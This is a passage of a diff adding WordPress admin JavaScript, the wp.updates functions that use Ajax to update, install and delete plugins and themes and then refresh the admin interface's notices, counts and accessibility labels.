+		if ( settings.totals.counts.total > 0 ) {
+			$appearanceNavMenuUpdateCount.find( '.theme-count' ).text( settings.totals.counts.themes );
+		} else {
+			$appearanceNavMenuUpdateCount.remove();
+		}
+
+		// Update list table filter navigation.
+		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
+			itemCount = settings.totals.counts.plugins;
+		} else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
+			itemCount = settings.totals.counts.themes;
+		}
+
+		if ( itemCount > 0 ) {
+			$( '.subsubsub .upgrade .count' ).text( '(' + itemCount + ')' );
+		} else {
+			$( '.subsubsub .upgrade' ).remove();
+			$( '.subsubsub li:last' ).html( function() { return $( this ).children(); } );
+		}
+	};
+
+	/**
+	 * Decrements the update counts throughout the various menus.
+	 *
+	 * This includes the toolbar, the "Updates" menu item and the menu items
+	 * for plugins and themes.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param {string} type The type of item that was updated or deleted.
+	 *                      Can be 'plugin', 'theme'.
+	 */
+	wp.updates.decrementCount = function( type ) {
+		settings.totals.counts.total = Math.max( --settings.totals.counts.total, 0 );
+
+		if ( 'plugin' === type ) {
+			settings.totals.counts.plugins = Math.max( --settings.totals.counts.plugins, 0 );
+		} else if ( 'theme' === type ) {
+			settings.totals.counts.themes = Math.max( --settings.totals.counts.themes, 0 );
+		}
+
+		wp.updates.refreshCount( type );
+	};
+
+	/**
+	 * Sends an Ajax request to the server to update a plugin.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 More accurately named `updatePlugin`.
+	 *
+	 * @param {object}               args         Arguments.
+	 * @param {string}               args.plugin  Plugin basename.
+	 * @param {string}               args.slug    Plugin slug.
+	 * @param {updatePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.updatePluginSuccess
+	 * @param {updatePluginError=}   args.error   Optional. Error callback. Default: wp.updates.updatePluginError
+	 * @return {$.promise} A jQuery promise that represents the request,
+	 *                     decorated with an abort() method.
+	 */
+	wp.updates.updatePlugin = function( args ) {
+		var $updateRow, $card, $message, message;
+
+		args = _.extend( {
+			success: wp.updates.updatePluginSuccess,
+			error: wp.updates.updatePluginError
+		}, args );
+
+		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
+			$updateRow = $( 'tr[data-plugin="' + args.plugin + '"]' );
+			$message   = $updateRow.find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );
+			message    = wp.updates.l10n.pluginUpdatingLabel.replace( '%s', $updateRow.find( '.plugin-title strong' ).text() );
+		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
+			$card    = $( '.plugin-card-' + args.slug );
+			$message = $card.find( '.update-now' ).addClass( 'updating-message' );
+			message  = wp.updates.l10n.pluginUpdatingLabel.replace( '%s', $message.data( 'name' ) );
+
+			// Remove previous error messages, if any.
+			$card.removeClass( 'plugin-card-update-failed' ).find( '.notice.notice-error' ).remove();
+		}
+
+		if ( $message.html() !== wp.updates.l10n.updating ) {
+			$message.data( 'originaltext', $message.html() );
+		}
+
+		$message
+			.attr( 'aria-label', message )
+			.text( wp.updates.l10n.updating );
+
+		$document.trigger( 'wp-plugin-updating', args );
+
+		return wp.updates.ajax( 'update-plugin', args );
+	};
+
+	/**
+	 * Updates the UI appropriately after a successful plugin update.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 More accurately named `updatePluginSuccess`.
+	 *
+	 * @typedef {object} updatePluginSuccess
+	 * @param {object} response            Response from the server.
+	 * @param {string} response.slug       Slug of the plugin to be updated.
+	 * @param {string} response.plugin     Basename of the plugin to be updated.
+	 * @param {string} response.pluginName Name of the plugin to be updated.
+	 * @param {string} response.oldVersion Old version of the plugin.
+	 * @param {string} response.newVersion New version of the plugin.
+	 */
+	wp.updates.updatePluginSuccess = function( response ) {
+		var $pluginRow, $updateMessage, newText;
+
+		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
+			$pluginRow     = $( 'tr[data-plugin="' + response.plugin + '"]' )
+				.removeClass( 'update' )
+				.addClass( 'updated' );
+			$updateMessage = $pluginRow.find( '.update-message' )
+				.removeClass( 'updating-message notice-warning' )
+				.addClass( 'updated-message notice-success' ).find( 'p' );
+
+			// Update the version number in the row.
+			newText = $pluginRow.find( '.plugin-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
+			$pluginRow.find( '.plugin-version-author-uri' ).html( newText );
+		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
+			$updateMessage = $( '.plugin-card-' + response.slug ).find( '.update-now' )
+				.removeClass( 'updating-message' )
+				.addClass( 'button-disabled updated-message' );
+		}
+
+		$updateMessage
+			.attr( 'aria-label', wp.updates.l10n.pluginUpdatedLabel.replace( '%s', response.pluginName ) )
+			.text( wp.updates.l10n.pluginUpdated );
+
+		wp.a11y.speak( wp.updates.l10n.updatedMsg, 'polite' );
+
+		wp.updates.decrementCount( 'plugin' );
+
+		$document.trigger( 'wp-plugin-update-success', response );
+	};
+
+	/**
+	 * Updates the UI appropriately after a failed plugin update.
+	 *
+	 * @since 4.2.0
+	 * @since 4.6.0 More accurately named `updatePluginError`.
+	 *
+	 * @typedef {object} updatePluginError
+	 * @param {object}  response              Response from the server.
+	 * @param {string}  response.slug         Slug of the plugin to be updated.
+	 * @param {string}  response.plugin       Basename of the plugin to be updated.
+	 * @param {string=} response.pluginName   Optional. Name of the plugin to be updated.
+	 * @param {string}  response.errorCode    Error code for the error that occurred.
+	 * @param {string}  response.errorMessage The error that occurred.
+	 */
+	wp.updates.updatePluginError = function( response ) {
+		var $card, $message, errorMessage;
+
+		if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
+			return;
+		}
+
+		if ( wp.updates.maybeHandleCredentialError( response, 'update-plugin' ) ) {
+			return;
+		}
+
+		errorMessage = wp.updates.l10n.updateFailed.replace( '%s', response.errorMessage );
+
+		if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
+			if ( response.plugin ) {
+				$message = $( 'tr[data-plugin="' + response.plugin + '"]' ).find( '.update-message' );
+			} else {
+				$message = $( 'tr[data-slug="' + response.slug + '"]' ).find( '.update-message' );
+			}
+			$message.removeClass( 'updating-message notice-warning' ).addClass( 'notice-error' ).find( 'p' ).html( errorMessage );
+
+			if ( response.pluginName ) {
+				$message.find( 'p' )
+					.attr( 'aria-label', wp.updates.l10n.pluginUpdateFailedLabel.replace( '%s', response.pluginName ) );
+			} else {
+				$message.find( 'p' ).removeAttr( 'aria-label' );
+			}
+		} else if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
+			$card = $( '.plugin-card-' + response.slug )
+				.addClass( 'plugin-card-update-failed' )
+				.append( wp.updates.adminNotice( {
+					className: 'update-message notice-error notice-alt is-dismissible',
+					message:   errorMessage
+				} ) );
+
+			$card.find( '.update-now' )
+				.text( wp.updates.l10n.updateFailedShort ).removeClass( 'updating-message' );
+
+			if ( response.pluginName ) {
+				$card.find( '.update-now' )
+					.attr( 'aria-label', wp.updates.l10n.pluginUpdateFailedLabel.replace( '%s', response.pluginName ) );
+			} else {
+				$card.find( '.update-now' ).removeAttr( 'aria-label' );
+			}
+
+			$card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {
+
+				// Use same delay as the total duration of the notice fadeTo + slideUp animation.
+				setTimeout( function() {
+					$card
+						.removeClass( 'plugin-card-update-failed' )
+						.find( '.column-name a' ).focus();
+
+					$card.find( '.update-now' )
+						.attr( 'aria-label', false )
+						.text( wp.updates.l10n.updateNow );
+				}, 200 );
+			} );
+		}
+
+		wp.a11y.speak( errorMessage, 'assertive' );
+
+		$document.trigger( 'wp-plugin-update-error', response );
+	};
+
+	/**
+	 * Sends an Ajax request to the server to install a plugin.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {object}                args         Arguments.
+	 * @param {string}                args.slug    Plugin identifier in the WordPress.org Plugin repository.
+	 * @param {installPluginSuccess=} args.success Optional. Success callback. Default: wp.updates.installPluginSuccess
+	 * @param {installPluginError=}   args.error   Optional. Error callback. Default: wp.updates.installPluginError
+	 * @return {$.promise} A jQuery promise that represents the request,
+	 *                     decorated with an abort() method.
+	 */
+	wp.updates.installPlugin = function( args ) {
+		var $card    = $( '.plugin-card-' + args.slug ),
+			$message = $card.find( '.install-now' );
+
+		args = _.extend( {
+			success: wp.updates.installPluginSuccess,
+			error: wp.updates.installPluginError
+		}, args );
+
+		if ( 'import' === pagenow ) {
+			$message = $( '[data-slug="' + args.slug + '"]' );
+		}
+
+		if ( $message.html() !== wp.updates.l10n.installing ) {
+			$message.data( 'originaltext', $message.html() );
+		}
+
+		$message
+			.addClass( 'updating-message' )
+			.attr( 'aria-label', wp.updates.l10n.pluginInstallingLabel.replace( '%s', $message.data( 'name' ) ) )
+			.text( wp.updates.l10n.installing );
+
+		wp.a11y.speak( wp.updates.l10n.installingMsg, 'polite' );
+
+		// Remove previous error messages, if any.
+		$card.removeClass( 'plugin-card-install-failed' ).find( '.notice.notice-error' ).remove();
+
+		$document.trigger( 'wp-plugin-installing', args );
+
+		return wp.updates.ajax( 'install-plugin', args );
+	};
+
+	/**
+	 * Updates the UI appropriately after a successful plugin install.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} installPluginSuccess
+	 * @param {object} response             Response from the server.
+	 * @param {string} response.slug        Slug of the installed plugin.
+	 * @param {string} response.pluginName  Name of the installed plugin.
+	 * @param {string} response.activateUrl URL to activate the just installed plugin.
+	 */
+	wp.updates.installPluginSuccess = function( response ) {
+		var $message = $( '.plugin-card-' + response.slug ).find( '.install-now' );
+
+		$message
+			.removeClass( 'updating-message' )
+			.addClass( 'updated-message installed' )
+			.attr( 'aria-label', wp.updates.l10n.pluginInstalledLabel.replace( '%s', response.pluginName ) )
+			.text( wp.updates.l10n.pluginInstalled );
+
+		if ( $message.hasClass( 'button-primary' ) ) {
+			$message.addClass( 'button-primary-disabled' );
+		} else {
+			$message.addClass( 'button-disabled' );
+		}
+
+		wp.a11y.speak( wp.updates.l10n.installedMsg, 'polite' );
+
+		$document.trigger( 'wp-plugin-install-success', response );
+
+		if ( response.activateUrl ) {
+			setTimeout( function() {
+
+				// Transform the 'Install' button into an 'Activate' button.
+				$message.removeClass( 'install-now installed button-primary-disabled button-secondary-disabled button-disabled updated-message' )
+					.addClass( 'activate-now' )
+					.attr( 'href', response.activateUrl )
+					.attr( 'aria-label', wp.updates.l10n.activatePluginLabel.replace( '%s', response.pluginName ) )
+					.text( response.activateLabel || wp.updates.l10n.activatePlugin );
+			}, 1000 );
+		}
+	};
+
+	/**
+	 * Updates the UI appropriately after a failed plugin install.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} installPluginError
+	 * @param {object}  response              Response from the server.
+	 * @param {string}  response.slug         Slug of the plugin to be installed.
+	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
+	 * @param {string}  response.errorCode    Error code for the error that occurred.
+	 * @param {string}  response.errorMessage The error that occurred.
+	 */
+	wp.updates.installPluginError = function( response ) {
+		var $card   = $( '.plugin-card-' + response.slug ),
+			$button = $card.find( '.install-now' ),
+			errorMessage;
+
+		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
+			return;
+		}
+
+		if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
+			return;
+		}
+
+		errorMessage = wp.updates.l10n.installFailed.replace( '%s', response.errorMessage );
+
+		$card
+			.addClass( 'plugin-card-update-failed' )
+			.append( '<div class="notice notice-error notice-alt is-dismissible"><p>' + errorMessage + '</p></div>' );
+
+		$card.on( 'click', '.notice.is-dismissible .notice-dismiss', function() {
+
+			// Use same delay as the total duration of the notice fadeTo + slideUp animation.
+			setTimeout( function() {
+				$card
+					.removeClass( 'plugin-card-update-failed' )
+					.find( '.column-name a' ).focus();
+			}, 200 );
+		} );
+
+		$button
+			.removeClass( 'updating-message' ).addClass( 'button-disabled' )
+			.attr( 'aria-label', wp.updates.l10n.pluginInstallFailedLabel.replace( '%s', $button.data( 'name' ) ) )
+			.text( wp.updates.l10n.installFailedShort );
+
+		wp.a11y.speak( errorMessage, 'assertive' );
+
+		$document.trigger( 'wp-plugin-install-error', response );
+	};
+
+	/**
+	 * Updates the UI appropriately after a successful importer install.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} installImporterSuccess
+	 * @param {object} response             Response from the server.
+	 * @param {string} response.slug        Slug of the installed plugin.
+	 * @param {string} response.pluginName  Name of the installed plugin.
+	 * @param {string} response.activateUrl URL to activate the just installed plugin.
+	 */
+	wp.updates.installImporterSuccess = function( response ) {
+		wp.updates.addAdminNotice( {
+			id:        'install-success',
+			className: 'notice-success is-dismissible',
+			message:   wp.updates.l10n.importerInstalledMsg.replace( '%s', response.activateUrl + '&from=import' )
+		} );
+
+		$( '[data-slug="' + response.slug + '"]' )
+			.removeClass( 'install-now updating-message' )
+			.addClass( 'activate-now' )
+			.attr({
+				'href': response.activateUrl + '&from=import',
+				'aria-label': wp.updates.l10n.activateImporterLabel.replace( '%s', response.pluginName )
+			})
+			.text( wp.updates.l10n.activateImporter );
+
+		wp.a11y.speak( wp.updates.l10n.installedMsg, 'polite' );
+
+		$document.trigger( 'wp-importer-install-success', response );
+	};
+
+	/**
+	 * Updates the UI appropriately after a failed importer install.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} installImporterError
+	 * @param {object}  response              Response from the server.
+	 * @param {string}  response.slug         Slug of the plugin to be installed.
+	 * @param {string=} response.pluginName   Optional. Name of the plugin to be installed.
+	 * @param {string}  response.errorCode    Error code for the error that occurred.
+	 * @param {string}  response.errorMessage The error that occurred.
+	 */
+	wp.updates.installImporterError = function( response ) {
+		var errorMessage = wp.updates.l10n.installFailed.replace( '%s', response.errorMessage ),
+			$installLink = $( '[data-slug="' + response.slug + '"]' ),
+			pluginName = $installLink.data( 'name' );
+
+		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
+			return;
+		}
+
+		if ( wp.updates.maybeHandleCredentialError( response, 'install-plugin' ) ) {
+			return;
+		}
+
+		wp.updates.addAdminNotice( {
+			id:        response.errorCode,
+			className: 'notice-error is-dismissible',
+			message:   errorMessage
+		} );
+
+		$installLink
+			.removeClass( 'updating-message' )
+			.text( wp.updates.l10n.installNow )
+			.attr( 'aria-label', wp.updates.l10n.installNowLabel.replace( '%s', pluginName ) );
+
+		wp.a11y.speak( errorMessage, 'assertive' );
+
+		$document.trigger( 'wp-importer-install-error', response );
+	};
+
+	/**
+	 * Sends an Ajax request to the server to delete a plugin.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {object}               args         Arguments.
+	 * @param {string}               args.plugin  Basename of the plugin to be deleted.
+	 * @param {string}               args.slug    Slug of the plugin to be deleted.
+	 * @param {deletePluginSuccess=} args.success Optional. Success callback. Default: wp.updates.deletePluginSuccess
+	 * @param {deletePluginError=}   args.error   Optional. Error callback. Default: wp.updates.deletePluginError
+	 * @return {$.promise} A jQuery promise that represents the request,
+	 *                     decorated with an abort() method.
+	 */
+	wp.updates.deletePlugin = function( args ) {
+		var $link = $( '[data-plugin="' + args.plugin + '"]' ).find( '.row-actions a.delete' );
+
+		args = _.extend( {
+			success: wp.updates.deletePluginSuccess,
+			error: wp.updates.deletePluginError
+		}, args );
+
+		if ( $link.html() !== wp.updates.l10n.deleting ) {
+			$link
+				.data( 'originaltext', $link.html() )
+				.text( wp.updates.l10n.deleting );
+		}
+
+		wp.a11y.speak( wp.updates.l10n.deleting, 'polite' );
+
+		$document.trigger( 'wp-plugin-deleting', args );
+
+		return wp.updates.ajax( 'delete-plugin', args );
+	};
+
+	/**
+	 * Updates the UI appropriately after a successful plugin deletion.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} deletePluginSuccess
+	 * @param {object} response            Response from the server.
+	 * @param {string} response.slug       Slug of the plugin that was deleted.
+	 * @param {string} response.plugin     Base name of the plugin that was deleted.
+	 * @param {string} response.pluginName Name of the plugin that was deleted.
+	 */
+	wp.updates.deletePluginSuccess = function( response ) {
+
+		// Removes the plugin and updates rows.
+		$( '[data-plugin="' + response.plugin + '"]' ).css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
+			var $form            = $( '#bulk-action-form' ),
+				$views           = $( '.subsubsub' ),
+				$pluginRow       = $( this ),
+				columnCount      = $form.find( 'thead th:not(.hidden), thead td' ).length,
+				pluginDeletedRow = wp.template( 'item-deleted-row' ),
+				/** @type {object} plugins Base names of plugins in their different states. */
+				plugins          = settings.plugins;
+
+			// Add a success message after deleting a plugin.
+			if ( ! $pluginRow.hasClass( 'plugin-update-tr' ) ) {
+				$pluginRow.after(
+					pluginDeletedRow( {
+						slug:    response.slug,
+						plugin:  response.plugin,
+						colspan: columnCount,
+						name:    response.pluginName
+					} )
+				);
+			}
+
+			$pluginRow.remove();
+
+			// Remove plugin from update count.
+			if ( -1 !== _.indexOf( plugins.upgrade, response.plugin ) ) {
+				plugins.upgrade = _.without( plugins.upgrade, response.plugin );
+				wp.updates.decrementCount( 'plugin' );
+			}
+
+			// Remove from views.
+			if ( -1 !== _.indexOf( plugins.inactive, response.plugin ) ) {
+				plugins.inactive = _.without( plugins.inactive, response.plugin );
+				if ( plugins.inactive.length ) {
+					$views.find( '.inactive .count' ).text( '(' + plugins.inactive.length + ')' );
+				} else {
+					$views.find( '.inactive' ).remove();
+				}
+			}
+
+			if ( -1 !== _.indexOf( plugins.active, response.plugin ) ) {
+				plugins.active = _.without( plugins.active, response.plugin );
+				if ( plugins.active.length ) {
+					$views.find( '.active .count' ).text( '(' + plugins.active.length + ')' );
+				} else {
+					$views.find( '.active' ).remove();
+				}
+			}
+
+			if ( -1 !== _.indexOf( plugins.recently_activated, response.plugin ) ) {
+				plugins.recently_activated = _.without( plugins.recently_activated, response.plugin );
+				if ( plugins.recently_activated.length ) {
+					$views.find( '.recently_activated .count' ).text( '(' + plugins.recently_activated.length + ')' );
+				} else {
+					$views.find( '.recently_activated' ).remove();
+				}
+			}
+
+			plugins.all = _.without( plugins.all, response.plugin );
+
+			if ( plugins.all.length ) {
+				$views.find( '.all .count' ).text( '(' + plugins.all.length + ')' );
+			} else {
+				$form.find( '.tablenav' ).css( { visibility: 'hidden' } );
+				$views.find( '.all' ).remove();
+
+				if ( ! $form.find( 'tr.no-items' ).length ) {
+					$form.find( '#the-list' ).append( '<tr class="no-items"><td class="colspanchange" colspan="' + columnCount + '">' + wp.updates.l10n.noPlugins + '</td></tr>' );
+				}
+			}
+		} );
+
+		wp.a11y.speak( wp.updates.l10n.pluginDeleted, 'polite' );
+
+		$document.trigger( 'wp-plugin-delete-success', response );
+	};
+
+	/**
+	 * Updates the UI appropriately after a failed plugin deletion.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} deletePluginError
+	 * @param {object}  response              Response from the server.
+	 * @param {string}  response.slug         Slug of the plugin to be deleted.
+	 * @param {string}  response.plugin       Base name of the plugin to be deleted
+	 * @param {string=} response.pluginName   Optional. Name of the plugin to be deleted.
+	 * @param {string}  response.errorCode    Error code for the error that occurred.
+	 * @param {string}  response.errorMessage The error that occurred.
+	 */
+	wp.updates.deletePluginError = function( response ) {
+		var $plugin, $pluginUpdateRow,
+			pluginUpdateRow  = wp.template( 'item-update-row' ),
+			noticeContent    = wp.updates.adminNotice( {
+				className: 'update-message notice-error notice-alt',
+				message:   response.errorMessage
+			} );
+
+		if ( response.plugin ) {
+			$plugin          = $( 'tr.inactive[data-plugin="' + response.plugin + '"]' );
+			$pluginUpdateRow = $plugin.siblings( '[data-plugin="' + response.plugin + '"]' );
+		} else {
+			$plugin          = $( 'tr.inactive[data-slug="' + response.slug + '"]' );
+			$pluginUpdateRow = $plugin.siblings( '[data-slug="' + response.slug + '"]' );
+		}
+
+		if ( ! wp.updates.isValidResponse( response, 'delete' ) ) {
+			return;
+		}
+
+		if ( wp.updates.maybeHandleCredentialError( response, 'delete-plugin' ) ) {
+			return;
+		}
+
+		// Add a plugin update row if it doesn't exist yet.
+		if ( ! $pluginUpdateRow.length ) {
+			$plugin.addClass( 'update' ).after(
+				pluginUpdateRow( {
+					slug:    response.slug,
+					plugin:  response.plugin || response.slug,
+					colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
+					content: noticeContent
+				} )
+			);
+		} else {
+
+			// Remove previous error messages, if any.
+			$pluginUpdateRow.find( '.notice-error' ).remove();
+
+			$pluginUpdateRow.find( '.plugin-update' ).append( noticeContent );
+		}
+
+		$document.trigger( 'wp-plugin-delete-error', response );
+	};
+
+	/**
+	 * Sends an Ajax request to the server to update a theme.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {object}              args         Arguments.
+	 * @param {string}              args.slug    Theme stylesheet.
+	 * @param {updateThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.updateThemeSuccess
+	 * @param {updateThemeError=}   args.error   Optional. Error callback. Default: wp.updates.updateThemeError
+	 * @return {$.promise} A jQuery promise that represents the request,
+	 *                     decorated with an abort() method.
+	 */
+	wp.updates.updateTheme = function( args ) {
+		var $notice;
+
+		args = _.extend( {
+			success: wp.updates.updateThemeSuccess,
+			error: wp.updates.updateThemeError
+		}, args );
+
+		if ( 'themes-network' === pagenow ) {
+			$notice = $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );
+
+		} else if ( 'customize' === pagenow ) {
+
+			// Update the theme details UI.
+			$notice = $( '[data-slug="' + args.slug + '"].notice' ).removeClass( 'notice-large' );
+
+			$notice.find( 'h3' ).remove();
+
+			// Add the top-level UI, and update both.
+			$notice = $notice.add( $( '#customize-control-installed_theme_' + args.slug ).find( '.update-message' ) );
+			$notice = $notice.addClass( 'updating-message' ).find( 'p' );
+
+		} else {
+			$notice = $( '#update-theme' ).closest( '.notice' ).removeClass( 'notice-large' );
+
+			$notice.find( 'h3' ).remove();
+
+			$notice = $notice.add( $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ) );
+			$notice = $notice.addClass( 'updating-message' ).find( 'p' );
+		}
+
+		if ( $notice.html() !== wp.updates.l10n.updating ) {
+			$notice.data( 'originaltext', $notice.html() );
+		}
+
+		wp.a11y.speak( wp.updates.l10n.updatingMsg, 'polite' );
+		$notice.text( wp.updates.l10n.updating );
+
+		$document.trigger( 'wp-theme-updating', args );
+
+		return wp.updates.ajax( 'update-theme', args );
+	};
+
+	/**
+	 * Updates the UI appropriately after a successful theme update.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} updateThemeSuccess
+	 * @param {object} response
+	 * @param {string} response.slug       Slug of the theme to be updated.
+	 * @param {object} response.theme      Updated theme.
+	 * @param {string} response.oldVersion Old version of the theme.
+	 * @param {string} response.newVersion New version of the theme.
+	 */
+	wp.updates.updateThemeSuccess = function( response ) {
+		var isModalOpen    = $( 'body.modal-open' ).length,
+			$theme         = $( '[data-slug="' + response.slug + '"]' ),
+			updatedMessage = {
+				className: 'updated-message notice-success notice-alt',
+				message:   wp.updates.l10n.themeUpdated
+			},
+			$notice, newText;
+
+		if ( 'customize' === pagenow ) {
+			$theme = $( '.updating-message' ).siblings( '.theme-name' );
+
+			if ( $theme.length ) {
+
+				// Update the version number in the row.
+				newText = $theme.html().replace( response.oldVersion, response.newVersion );
+				$theme.html( newText );
+			}
+
+			$notice = $( '.theme-info .notice' ).add( wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ).find( '.update-message' ) );
+		} else if ( 'themes-network' === pagenow ) {
+			$notice = $theme.find( '.update-message' );
+
+			// Update the version number in the row.
+			newText = $theme.find( '.theme-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
+			$theme.find( '.theme-version-author-uri' ).html( newText );
+		} else {
+			$notice = $( '.theme-info .notice' ).add( $theme.find( '.update-message' ) );
+
+			// Focus on Customize button after updating.
+			if ( isModalOpen ) {
+				$( '.load-customize:visible' ).focus();
+			} else {
+				$theme.find( '.load-customize' ).focus();
+			}
+		}
+
+		wp.updates.addAdminNotice( _.extend( { selector: $notice }, updatedMessage ) );
+		wp.a11y.speak( wp.updates.l10n.updatedMsg, 'polite' );
+
+		wp.updates.decrementCount( 'theme' );
+
+		$document.trigger( 'wp-theme-update-success', response );
+
+		// Show updated message after modal re-rendered.
+		if ( isModalOpen && 'customize' !== pagenow ) {
+			$( '.theme-info .theme-author' ).after( wp.updates.adminNotice( updatedMessage ) );
+		}
+	};
+
+	/**
+	 * Updates the UI appropriately after a failed theme update.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} updateThemeError
+	 * @param {object} response              Response from the server.
+	 * @param {string} response.slug         Slug of the theme to be updated.
+	 * @param {string} response.errorCode    Error code for the error that occurred.
+	 * @param {string} response.errorMessage The error that occurred.
+	 */
+	wp.updates.updateThemeError = function( response ) {
+		var $theme       = $( '[data-slug="' + response.slug + '"]' ),
+			errorMessage = wp.updates.l10n.updateFailed.replace( '%s', response.errorMessage ),
+			$notice;
+
+		if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
+			return;
+		}
+
+		if ( wp.updates.maybeHandleCredentialError( response, 'update-theme' ) ) {
+			return;
+		}
+
+		if ( 'customize' === pagenow ) {
+			$theme = wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' );
+		}
+
+		if ( 'themes-network' === pagenow ) {
+			$notice = $theme.find( '.update-message ' );
+		} else {
+			$notice = $( '.theme-info .notice' ).add( $theme.find( '.notice' ) );
+
+			$( 'body.modal-open' ).length ? $( '.load-customize:visible' ).focus() : $theme.find( '.load-customize' ).focus();
+		}
+
+		wp.updates.addAdminNotice( {
+			selector:  $notice,
+			className: 'update-message notice-error notice-alt is-dismissible',
+			message:   errorMessage
+		} );
+
+		wp.a11y.speak( errorMessage, 'polite' );
+
+		$document.trigger( 'wp-theme-update-error', response );
+	};
+
+	/**
+	 * Sends an Ajax request to the server to install a theme.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param {object}               args
+	 * @param {string}               args.slug    Theme stylesheet.
+	 * @param {installThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.installThemeSuccess
+	 * @param {installThemeError=}   args.error   Optional. Error callback. Default: wp.updates.installThemeError
+	 * @return {$.promise} A jQuery promise that represents the request,
+	 *                     decorated with an abort() method.
+	 */
+	wp.updates.installTheme = function( args ) {
+		var $message = $( '.theme-install[data-slug="' + args.slug + '"]' );
+
+		args = _.extend( {
+			success: wp.updates.installThemeSuccess,
+			error: wp.updates.installThemeError
+		}, args );
+
+		$message.addClass( 'updating-message' );
+		$message.parents( '.theme' ).addClass( 'focus' );
+		if ( $message.html() !== wp.updates.l10n.installing ) {
+			$message.data( 'originaltext', $message.html() );
+		}
+
+		$message
+			.text( wp.updates.l10n.installing )
+			.attr( 'aria-label', wp.updates.l10n.themeInstallingLabel.replace( '%s', $message.data( 'name' ) ) );
+		wp.a11y.speak( wp.updates.l10n.installingMsg, 'polite' );
+
+		// Remove previous error messages, if any.
+		$( '.install-theme-info, [data-slug="' + args.slug + '"]' ).removeClass( 'theme-install-failed' ).find( '.notice.notice-error' ).remove();
+
+		$document.trigger( 'wp-theme-installing', args );
+
+		return wp.updates.ajax( 'install-theme', args );
+	};
+
+	/**
+	 * Updates the UI appropriately after a successful theme install.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} installThemeSuccess
+	 * @param {object} response              Response from the server.
+	 * @param {string} response.slug         Slug of the theme to be installed.
+	 * @param {string} response.customizeUrl URL to the Customizer for the just installed theme.
+	 * @param {string} response.activateUrl  URL to activate the just installed theme.
+	 */
+	wp.updates.installThemeSuccess = function( response ) {
+		var $card = $( '.wp-full-overlay-header, [data-slug=' + response.slug + ']' ),
+			$message;
+
+		$document.trigger( 'wp-theme-install-success', response );
+
+		$message = $card.find( '.button-primary' )
+			.removeClass( 'updating-message' )
+			.addClass( 'updated-message disabled' )
+			.attr( 'aria-label', wp.updates.l10n.themeInstalledLabel.replace( '%s', response.themeName ) )
+			.text( wp.updates.l10n.themeInstalled );
+
+		wp.a11y.speak( wp.updates.l10n.installedMsg, 'polite' );
+
+		setTimeout( function() {
+
+			if ( response.activateUrl ) {
+
+				// Transform the 'Install' button into an 'Activate' button.
+				$message
+					.attr( 'href', response.activateUrl )
+					.removeClass( 'theme-install updated-message disabled' )
+					.addClass( 'activate' )
+					.attr( 'aria-label', wp.updates.l10n.activateThemeLabel.replace( '%s', response.themeName ) )
+					.text( wp.updates.l10n.activateTheme );
+			}
+
+			if ( response.customizeUrl ) {
+
+				// Transform the 'Preview' button into a 'Live Preview' button.
+				$message.siblings( '.preview' ).replaceWith( function () {
+					return $( '<a>' )
+						.attr( 'href', response.customizeUrl )
+						.addClass( 'button load-customize' )
+						.text( wp.updates.l10n.livePreview );
+				} );
+			}
+		}, 1000 );
+	};
+
+	/**
+	 * Updates the UI appropriately after a failed theme install.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @typedef {object} installThemeError
+	 * @param {object} response              Response from the server.
+	 * @param {string} response.slug         Slug of the theme to be installed.
+	 * @param {string} response.errorCode    Error code for the error that occurred.
+	 * @param {string} response.errorMessage The error that occurred.
+	 */
+	wp.updates.installThemeError = function( response ) {
+		var $card, $button,
+			errorMessage = wp.updates.l10n.installFailed.replace( '%s', response.errorMessage ),
+			$message     = wp.updates.adminNotice( {
+				className: 'update-message notice-error notice-alt',
+				message:   errorMessage
+			} );
+
+		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
+			return;
+		}
+
+		if ( wp.updates.maybeHandleCredentialError( response, 'install-theme' ) ) {
+			return;
+		}
+
+		if ( 'customize' === pagenow ) {
